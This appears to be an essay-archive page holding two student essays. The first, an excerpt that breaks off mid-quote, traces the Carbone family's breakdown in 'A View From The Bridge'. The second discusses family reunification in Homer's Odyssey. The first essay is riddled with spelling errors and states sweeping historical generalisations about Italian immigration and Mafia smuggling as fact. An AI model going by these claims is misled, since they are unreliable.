Trace the Breakdown of the Carbone family in A View From The Bridge New York in the 1940’s the United States welcomed immigrants from all over Europe but especially Italy, the only problem with these immigrants was, most where illegal. The Italians, starved from the depression of World War One fled their homes and sometimes families for a better life in America. This often worked because the areas where you went to live often contained more people of the same race and as they say ‘blood is thicker than water’ to these people so one person wouldn’t tell on another for hiding or being an illegal immigrant. One problem though, this being to get to America you had to be smuggled in by the Mafia, this happened to cost an arm and a leg which means your in debt to the Mafias, so when and if, you get to America most of the money you earned went to the Mafias, so it was a hard life but better than the one you had. This play is about two Italians that decide to take this risk, but what will happen as a cause of this†¦ Catherine Carbone is Eddie Carbone’ niece, she is a 17 year old girl and is strikingly good looking. On the other hand Eddie is a 40, husky, slightly overweight long shore man, one problem though he has a thing for Catherine, but Eddie knows he can’t have her, so because he can’t have here no one else can either, or you might say, Eddie Carbone ‘ wont settle for half ’, but a good looking 17 year old isn’t going to stay single for long, this creates a dilemma for Eddie. Catherine has spent pretty much all her life with Eddie so she has become very attached, for example, ‘you sit on the edge of the bathtub talking to him when he’s shaving’ in his underwear’, she thinks she is just talking to him, where as Eddie thinks that she is trying to say something and it’s not. So from an early age she has been manipulated by Eddie, making him seem the only one to trust and to believe every word he says, for example, ‘I wish there was one guy you couldn’t tell me things about!’ showing that if Eddie found a guy that Eddie didn’t now bad things about he would be a good guy to go out with but, Eddie isn’t going to find any won like. Beatrice is petrified of Eddie and he uses this to his advantage. Making Beatrice feel sorry for him when he’s being rude to her, ‘when

Reunification in Homers Odyssey :: Homer Odyssey Essays

Reunification in Homer's Odyssey In Homer's epic poem, the Odyssey, the main theme is the reunification of the family, as Odysseus struggles to return home and rejoin his wife and son. Throughout the Odyssey, we are shown examples of families: good ones that prosper and bad ones that do not. As Telemakhos struggles to become a man and Odysseus struggles homeward, the concept of healthy family life is stressed. At the end, when all conflicts are resolved and Odysseus is reunited with wife and son, the lesson that a united family can overcome any obstacles is shown and is one that today's families should heed. As the Odyssey begins, we see a family in disarray. Odysseus' whereabouts are unknown. Penelope has spent four years keeping the suitors at bay and spent 20 years crying for Odysseus. And Telemakhos has grown up confused and unsure of himself, without a real father figure. Simultaneously, as a result, we see a kingdom also in disarray. Ithaca has no king, hence no "father" figure. And the sons of the kingdom, hence the suitors, have no guidance and act in an egregious manner. They eat and drink all day, slowly depleting Odysseus' cattle and wine stock. They gamble and constantly harass Penelope and Telemakhos. As Telemakhos, who is ignorant of how real family life should be, travels in search of his father, he learns about family life. In Pylos, he meets Nestor, who asks his son, Peisistratus, to accompany him. This is important because it is the first time Telemakhos has a real friend. In Sparta, he meets King Menelaos and Helen, who are in the midst of the celebration of a double wedding. Here he is shown what a real family should be. Menelaos and Helen have had their troubles. But since they were reunited after the Trojan War, their lives together have been happy and their relationship is loving, honest, and healthy. By the same token, their kingdom thrives, because of this healthy family relationship. Menelaos' brother, Agamemnon, does not have a healthy family relationship. His family is held up to everyone as what a family should not be. It is ironic that the marriages of two brothers, Agamemnon and Menelaos, to two sisters, Helen and Clytemnestra, should be such exact opposite in their outcome. During his absence during the Trojan War, Agamemnon's wife, Clytemnestra, took a lover, Aigisthos. Upon Agamemnon's return, Clytemnestra kills him and his slave-mistress, Cassandra.